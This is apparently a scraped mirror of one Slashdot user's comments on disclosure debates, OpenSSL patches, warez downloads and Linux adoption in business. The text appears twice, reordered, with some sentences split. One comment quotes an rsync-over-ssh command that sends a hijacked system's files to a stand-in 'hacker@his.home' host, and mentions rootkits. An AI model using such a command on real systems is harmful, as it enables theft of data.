Either way, we shouldn't be charging for this shit.
Why not? Software coders are not worth paying? Good projects not worth supporting? When you say 'we shouldn't be charging..." DO you imply that you were a contributing developer or a user who somehow feels you should decide the business model?
Isn't it better for the economy if we make it illegal to search for holes? Because then companies will produce more software faster and cheaper.
Good point!!! I bet that Audi is looking for ways to send suicide drivers out and crash into drivers when they do crash tests. You would really be more comfortable if quality control were illegal?
But IMHO Hacker's aren't going to play the nice guys and report the bugs they are going to exploit the bugs and either not tell the company about all of the bugs or not tell the company about any of the bugs that is what they do.
Why do you think that you get all those patch releases from MS? Do you think that they conscientously find all those bugs? Hell, even Apache, OpenSSH etc...they all depend on 'hackers' finding and reporting bugs. Have you ever found a bug? Did you report it? If not, you are just as bad as what you are trying to say hackers in general are.
I suppose next they'll be suggesting that thieves be allowed to break into my house, just to see if it is secure.
While gaining access to a system is one way to discover software flaws, I doubt that is what they are trying to encourage. They want honest to goodness evaluation NOT of your PC but of critical software packages. Right now if I use MY Linux box to find a flaw and subsequently verify an exploit of it on MY NT server. If I tell anyone MS can sue me. That is the kind of behavior they are trying to protect.
I hope they extend this requirement to include broadcast-content-quality, well ok I really wouldn't want the feds regulating what I watch. However, my 26" analog screen is fine for THE show I like to watch. Crocodile hunter is not worth buying an HDTV over though.
I think that the reason people are so 'blah' over this technology relates directly to the quality of content. When a show such as friends is the 'best' entertainment available, things are bad.
That is true. Go ahead and download security patches from a warez site...good idea. Since the site is/.ed (or was) what md5 sum were you going to compare it to? The one the nice kid posted for you after you bring that up? Seriously folks, security does not "just happen" Security is a state of mind for which most would seek treatment. Trust me...They are out to get you.
What Thomas did not point out is that such a community needs leaders. I vote for him!!! His experience is a boon, his logic sound and damn he can write.
Thomas Krul for President of Linux Gui Community 2002
You are not getting them confused you are right. It is unlikely that anyone could get the same MD5 sum, however if it were going to happen a warez site is where it would happen.
It just means that you can't leave the backdoor unlocked.
Righto, but unchecked buffers are a backdoor that most won't notice. Unfortunately many OSS software developers harp about them being easy to find in a good code audit. I think the OpenSSL people got a little to carried away in implemting their encryption strategy and didn't focus on the basics.
However, if M$ ever comes up with a better product it will doubtless say BSD in the comments.
Re:Look in alt.binaries.warez.linux in 15 minutes
on
OpenSSL Security Update
·
· Score: 2, Funny
I'll put them there. Quit hammering their servers.
Don't worry about that pesky/. affect sir. I got the binary patch off a warez server. All secure now;-)
however, is still encrypted.
Until, at the prompt on their hijacked shell, they type:
rsync -zavuSH -e ssh hacker@his.home:
the above should have had 'path to your rsa key' but I ignorantly encased it in brackets, and the browsers are now attempting to do something silly, not involving rendering my text.
Your point on inertia is a very good point. However, inertia is part of the reason linux must have a 'windows like' interface. They must still feel that they are going forward in terms of usability etc...
Browser based apps are the 'killer' app for OS independence. Which is probably why M$ implements web standards so poorly.
Those are all good and valid points, and yes NT OS2 are a 'bit' different. Unfortunately the point I see as valid in the business world (where we need to function as consultants etc...) is that maintaining windows while $cumbersome is an accepted and stable expense. The learning curve for Linux is as yet unknown to most corporate types. They will not dump a known and stable cost (even a big one) for an area of uncertainty. I am not defending the corporate outlook of many companies on this merely expressing it.
Great script. Do you disagree with that attitude? I love articles like " Guy finds bug with MS software, secretly reports to bugtraq elite, meanwhile affected systems chug away" My favorite is when bugtraq won't reveal the vulnerability, but they give a temporary fix. Partial disclosure rocks because after all the only liability that M$ should have to worry about is image, who cares about your system.
I wager that partial disclosure results in only partial patching
Given the improved uptime, decreased exposure to virii, bundling in of things like terminal emulators and office suites, and reduced/removed licensing fees (yes I know any business will be buying a support contract, why do you THINK IBM's so big on Linux?), even factoring in retraining it's still likely you'll see a nice ROI.
Unfortunately, Linux is perceived as an engineers tool. We tell people, "Damn I use it at home so I don't HAVE TO WORK on computers at home (no crashes)" All they see is "I told you, the engineer uses it, it must be impossible" I am the senior (and junior) admin at my company. I would love not to buy 100 copies of Office 2000 but they "know" it is too tough. Trust me, I do side with you. I feel that economically, I could play with more and better servers if we didn't spend so much $$$ on bad user apps.
Unfortunately to get Linux on the desks of many businesses two things have to happen (actually 2 or 1 thing). First, it must be an identical experience to Windows. I don't understand that as much of Linux is from the user standpoint (ie tech support handles installs etc...)Businesses do not want to interrupt a known good proccess without an obvious ROI. Second, Microsoft itself must provide motivation (they are working on it with their licensing scheme).
Alternatively, if a big group of corps start using it other people will too.
To install Nullsoft Winamp [winamp.com], you use the web browser to download winamp280_full.exe (a Windows SuperPIMP installation package). Then you double-click the file, which launches the install wizard.
On that note, I stand corrected. I was speaking as a sys-admin of software we use in the office (Office 2000, Nortons AV etc...). Great example. However that is not the standard behavior (just noting that). As the well worded anonymous entity below points out you have to "open the folder and click" which I maintain is no more difficult than the average RPM set up. However, I maintain that./configure make make install is not too tough for the average computer user and scripting it should not be too hard for programmers.
Slashdot Mirror
Either way, we shouldn't be charging for this shit.
Why not? Software coders are not worth paying? Good projects not worth supporting? When you say 'we shouldn't be charging..." DO you imply that you were a contributing developer or a user who somehow feels you should decide the business model?
Wide Open West started out with tiered pricing. I have 1.44 Mbs with them for 49.99 a month. They also offer a couple packages above that.
In fact, the trolls are the only ones brave enough to wade into the cesspool that is slashcode to help make it a better site.
Huhh!!!!!
Someone hacking and defacing a website is not helpful. Code auditing and reporting of errors is but not vandalism.
Good point!!! I bet that Audi is looking for ways to send suicide drivers out and crash into drivers when they do crash tests. You would really be more comfortable if quality control were illegal?
Why do you think that you get all those patch releases from MS? Do you think that they conscientously find all those bugs? Hell, even Apache, OpenSSH etc...they all depend on 'hackers' finding and reporting bugs. Have you ever found a bug? Did you report it? If not, you are just as bad as what you are trying to say hackers in general are.
I suppose next they'll be suggesting that thieves be allowed to break into my house, just to see if it is secure.
While gaining access to a system is one way to discover software flaws, I doubt that is what they are trying to encourage. They want honest to goodness evaluation NOT of your PC but of critical software packages. Right now if I use MY Linux box to find a flaw and subsequently verify an exploit of it on MY NT server. If I tell anyone MS can sue me. That is the kind of behavior they are trying to protect.
http://www.fixwindows.com
Someone steal your stapler for the last time?
Yes it was RED did you see it?
I hope they extend this requirement to include broadcast-content-quality, well ok I really wouldn't want the feds regulating what I watch. However, my 26" analog screen is fine for THE show I like to watch. Crocodile hunter is not worth buying an HDTV over though.
I think that the reason people are so 'blah' over this technology relates directly to the quality of content. When a show such as friends is the 'best' entertainment available, things are bad.
That is true. Go ahead and download security patches from a warez site...good idea. Since the site is /.ed (or was) what md5 sum were you going to compare it to? The one the nice kid posted for you after you bring that up? Seriously folks, security does not "just happen" Security is a state of mind for which most would seek treatment. Trust me...They are out to get you.
What Thomas did not point out is that such a community needs leaders. I vote for him!!! His experience is a boon, his logic sound and damn he can write.
Thomas Krul for President of Linux Gui Community 2002
You are not getting them confused you are right. It is unlikely that anyone could get the same MD5 sum, however if it were going to happen a warez site is where it would happen.
As long as it's easy to use and looks nice, they will make the switch.
We don't use Kde, and it fits as I am guessing does gnome.
It just means that you can't leave the backdoor unlocked.
Righto, but unchecked buffers are a backdoor that most won't notice. Unfortunately many OSS software developers harp about them being easy to find in a good code audit. I think the OpenSSL people got a little to carried away in implemting their encryption strategy and didn't focus on the basics.
However, if M$ ever comes up with a better product it will doubtless say BSD in the comments.
I'll put them there. Quit hammering their servers.
/. affect sir. I got the binary patch off a warez server. All secure now ;-)
Don't worry about that pesky
I have only experience in a mid-size company. I imagine with an IT dept what you say is true. I want to be there!!!
however, is still encrypted. Until, at the prompt on their hijacked shell, they type: rsync -zavuSH -e ssh hacker@his.home: the above should have had 'path to your rsa key' but I ignorantly encased it in brackets, and the browsers are now attempting to do something silly, not involving rendering my text.
however, is still encrypted.
Until, at the prompt on their hijacked shell, they type:
rsync -zavuSH -e ssh hacker@his.home:
It's downhill from there (counting root kit installs etc...)
Your point on inertia is a very good point. However, inertia is part of the reason linux must have a 'windows like' interface. They must still feel that they are going forward in terms of usability etc...
Browser based apps are the 'killer' app for OS independence. Which is probably why M$ implements web standards so poorly.
Those are all good and valid points, and yes NT OS2 are a 'bit' different. Unfortunately the point I see as valid in the business world (where we need to function as consultants etc...) is that maintaining windows while $cumbersome is an accepted and stable expense. The learning curve for Linux is as yet unknown to most corporate types. They will not dump a known and stable cost (even a big one) for an area of uncertainty. I am not defending the corporate outlook of many companies on this merely expressing it.
Great script. Do you disagree with that attitude? I love articles like " Guy finds bug with MS software, secretly reports to bugtraq elite, meanwhile affected systems chug away" My favorite is when bugtraq won't reveal the vulnerability, but they give a temporary fix. Partial disclosure rocks because after all the only liability that M$ should have to worry about is image, who cares about your system.
I wager that partial disclosure results in only partial patching
Given the improved uptime, decreased exposure to virii, bundling in of things like terminal emulators and office suites, and reduced/removed licensing fees (yes I know any business will be buying a support contract, why do you THINK IBM's so big on Linux?), even factoring in retraining it's still likely you'll see a nice ROI.
Unfortunately, Linux is perceived as an engineers tool. We tell people, "Damn I use it at home so I don't HAVE TO WORK on computers at home (no crashes)" All they see is "I told you, the engineer uses it, it must be impossible" I am the senior (and junior) admin at my company. I would love not to buy 100 copies of Office 2000 but they "know" it is too tough. Trust me, I do side with you. I feel that economically, I could play with more and better servers if we didn't spend so much $$$ on bad user apps.
A couple points:
first: there is no constitutional right regarding consumer data
Second: Gorbachev brought free market reform to Russia opening the way hrough Perestroika to the west
This administration does not compare (ie...they are taking away freedom).
Unfortunately to get Linux on the desks of many businesses two things have to happen (actually 2 or 1 thing). First, it must be an identical experience to Windows. I don't understand that as much of Linux is from the user standpoint (ie tech support handles installs etc...)Businesses do not want to interrupt a known good proccess without an obvious ROI. Second, Microsoft itself must provide motivation (they are working on it with their licensing scheme).
Alternatively, if a big group of corps start using it other people will too.
To install Nullsoft Winamp [winamp.com], you use the web browser to download winamp280_full.exe (a Windows SuperPIMP installation package). Then you double-click the file, which launches the install wizard.
./configure make make install is not too tough for the average computer user and scripting it should not be too hard for programmers.
On that note, I stand corrected. I was speaking as a sys-admin of software we use in the office (Office 2000, Nortons AV etc...). Great example. However that is not the standard behavior (just noting that). As the well worded anonymous entity below points out you have to "open the folder and click" which I maintain is no more difficult than the average RPM set up. However, I maintain that